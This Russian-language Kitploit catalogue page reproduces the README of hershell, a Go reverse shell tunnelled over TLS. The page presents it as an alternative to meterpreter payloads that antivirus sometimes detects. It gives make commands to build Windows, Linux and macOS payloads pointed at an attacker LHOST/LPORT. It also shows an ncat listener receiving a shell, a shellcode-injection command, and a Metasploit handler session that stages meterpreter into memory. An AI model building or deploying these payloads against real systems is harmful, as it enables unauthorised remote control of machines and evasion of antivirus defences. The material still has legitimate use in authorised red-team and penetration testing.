Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
hershell — Hershell — это простой TCP реверс-шелл, написанный на Go. | Kitploit
Инструменты/GitHubGitHub/sysdream/hershell
Генерация полезной нагрузкиЭксплуатацияШелл-кодПост-эксплуатацияТестирование на ПроникновениеКомандование и УправлениеRed TeamingИнструмент Удаленного Доступа
GitHubsysdream/hershell

hershell

Hershell — это простой TCP реверс-шелл, написанный на Go.

Репозиторий
52986167 лет назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Hershell

ПРИМЕЧАНИЕ: проект был форкнут в этом репозитории, смотрите там для других разработок.

Hershell — это простой TCP-реверс-шелл, написанный на Go.

Он использует TLS для защиты связи и предоставляет функцию привязки отпечатка открытого ключа сертификата, предотвращая перехват трафика.

Поддерживаемые ОС:

  • Windows
  • Linux
  • Mac OS
  • FreeBSD и производные

Зачем?

Хотя полезные нагрузки meterpreter отличны, иногда они обнаруживаются антивирусами.

Цель этого проекта — получить простой реверс-шелл, который может работать на нескольких системах.

Как?

Поскольку он написан на Go, вы можете кросс-компилировать исходный код для нужной архитектуры.

Начало работы и зависимости

Поскольку это проект на Go, вам нужно следовать официальной документации для настройки вашего окружения Golang (с переменной окружения $GOPATH).

Затем просто выполните go get github.com/sysdream/hershell для загрузки проекта.

Сборка полезной нагрузки

Для упрощения используйте предоставленный Makefile. Вы можете задать следующие переменные окружения:

  • GOOS : целевая ОС
  • GOARCH : целевая архитектура
  • LHOST : IP-адрес или домен атакующего
  • LPORT : порт прослушивания

Для переменных GOOS и GOARCH список допустимых значений можно найти здесь.

Однако в Makefile доступны некоторые вспомогательные цели:

  • depends : создание сертификата сервера (необходим для реверс-шелла)
  • windows32 : сборка 32-битного исполняемого файла Windows (PE 32 бита)
  • windows64 : сборка 64-битного исполняемого файла Windows (PE 64 бита)
  • linux32 : сборка 32-битного исполняемого файла Linux (ELF 32 бита)
  • linux64 : сборка 64-битного исполняемого файла Linux (ELF 64 бита)
  • macos32 : сборка 32-битного исполняемого файла Mac OS (Mach-O)
  • macos64 : сборка 64-битного исполняемого файла Mac OS (Mach-O)

Для этих целей достаточно задать переменные окружения LHOST и LPORT.

Использование шелла

После запуска вы получите удалённый шелл. Эта пользовательская интерактивная оболочка позволяет выполнять системные команды через cmd.exe в Windows или /bin/sh на UNIX-машинах.

Поддерживаются следующие специальные команды:

  • run_shell : запускает системную оболочку (позволяет, например, менять каталоги)
  • inject <base64 shellcode> : внедряет shellcode (в кодировке base64) в память того же процесса и выполняет его (пока только для Windows).
  • meterpreter [tcp|http|https] IP:PORT : подключается к multi/handler для получения stage2 реверс tcp, http или https meterpreter из metasploit и выполняет shellcode в памяти (пока только для Windows)
  • exit : корректный выход

Использование

Прежде всего, необходимо сгенерировать действительный сертификат:

root@kitploit:~
$ make depends
openssl req -subj '/CN=yourcn.com/O=YourOrg/C=FR' -new -newkey rsa:4096 -days 3650 -nodes -x509 -keyout server.key -out server.pem
Generating a 4096 bit RSA private key
....................................................................................++
.....++
writing new private key to 'server.key'
-----
cat server.key >> server.pem

Для Windows:

root@kitploit:~
# Предварительно заданная 32-битная цель
$ make windows32 LHOST=192.168.0.12 LPORT=1234
# Предварительно заданная 64-битная цель
$ make windows64 LHOST=192.168.0.12 LPORT=1234

Для Linux:

root@kitploit:~
# Предварительно заданная 32-битная цель
$ make linux32 LHOST=192.168.0.12 LPORT=1234
# Предварительно заданная 64-битная цель
$ make linux64 LHOST=192.168.0.12 LPORT=1234

Для Mac OS X:

root@kitploit:~
$ make macos LHOST=192.168.0.12 LPORT=1234

Примеры

Базовое использование

Для обработки входящих подключений можно использовать различные инструменты, такие как:

  • socat
  • ncat
  • модуль сервера openssl
  • multi handler metasploit (с полезной нагрузкой python/shell_reverse_tcp_ssl)

Вот пример с ncat:

root@kitploit:~
$ ncat --ssl --ssl-cert server.pem --ssl-key server.key -lvp 1234
Ncat: Version 7.60 ( https://nmap.org/ncat )
Ncat: Listening on :::1234
Ncat: Listening on 0.0.0.0:1234
Ncat: Connection from 172.16.122.105.
Ncat: Connection from 172.16.122.105:47814.
[hershell]> whoami
desktop-3pvv31a\lab

Получение meterpreter

ПРЕДУПРЕЖДЕНИЕ: в настоящее время это работает только на платформе Windows.

Функция получения meterpreter в настоящее время поддерживает следующие полезные нагрузки:

  • windows/meterpreter/reverse_tcp
  • windows/x64/meterpreter/reverse_tcp
  • windows/meterpreter/reverse_http
  • windows/x64/meterpreter/reverse_http
  • windows/meterpreter/reverse_https
  • windows/x64/meterpreter/reverse_https

Чтобы использовать правильную, просто укажите нужный транспорт (tcp, http, https).

Для использования функции получения meterpreter просто запустите ваш handler:

root@kitploit:~
[14:12:45][172.16.122.105][Sessions: 0][Jobs: 0] > use exploit/multi/handler
[14:12:57][172.16.122.105][Sessions: 0][Jobs: 0] exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_https
payload => windows/x64/meterpreter/reverse_https
[14:13:12][172.16.122.105][Sessions: 0][Jobs: 0] exploit(multi/handler) > set lhost 172.16.122.105
lhost => 172.16.122.105
[14:13:15][172.16.122.105][Sessions: 0][Jobs: 0] exploit(multi/handler) > set lport 8443
lport => 8443
[14:13:17][172.16.122.105][Sessions: 0][Jobs: 0] exploit(multi/handler) > set HandlerSSLCert ./server.pem
HandlerSSLCert => ./server.pem
[14:13:26][172.16.122.105][Sessions: 0][Jobs: 0] exploit(multi/handler) > exploit -j
[*] Exploit running as background job 0.

[*] [2018.01.29-14:13:29] Started HTTPS reverse handler on https://172.16.122.105:8443
[14:13:29][172.16.122.105][Sessions: 0][Jobs: 1] exploit(multi/handler) >

Затем в hershell используйте команду meterpreter:

root@kitploit:~
[hershell]> meterpreter https 172.16.122.105:8443

В msfconsole должна появиться новая сессия meterpreter:

root@kitploit:~
[14:13:29][172.16.122.105][Sessions: 0][Jobs: 1] exploit(multi/handler) >
[*] [2018.01.29-14:16:44] https://172.16.122.105:8443 handling request from 172.16.122.105; (UUID: pqzl9t5k) Staging x64 payload (206937 bytes) ...
[*] Meterpreter session 1 opened (172.16.122.105:8443 -> 172.16.122.105:44804) at 2018-01-29 14:16:44 +0100

[14:16:46][172.16.122.105][Sessions: 1][Jobs: 1] exploit(multi/handler) > sessions

Active sessions
===============

  Id  Name  Type                     Information                            Connection
  --  ----  ----                     -----------                            ----------
  1         meterpreter x64/windows  DESKTOP-3PVV31A\lab @ DESKTOP-3PVV31A  172.16.122.105:8443 -> 172.16.122.105:44804 (10.0.2.15)

[14:16:48][172.16.122.105][Sessions: 1][Jobs: 1] exploit(multi/handler) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > getuid
Server username: DESKTOP-3PVV31A\lab

Благодарности

Ronan Kervella <r.kervella -at- sysdream -dot- com>

Скачать инструмент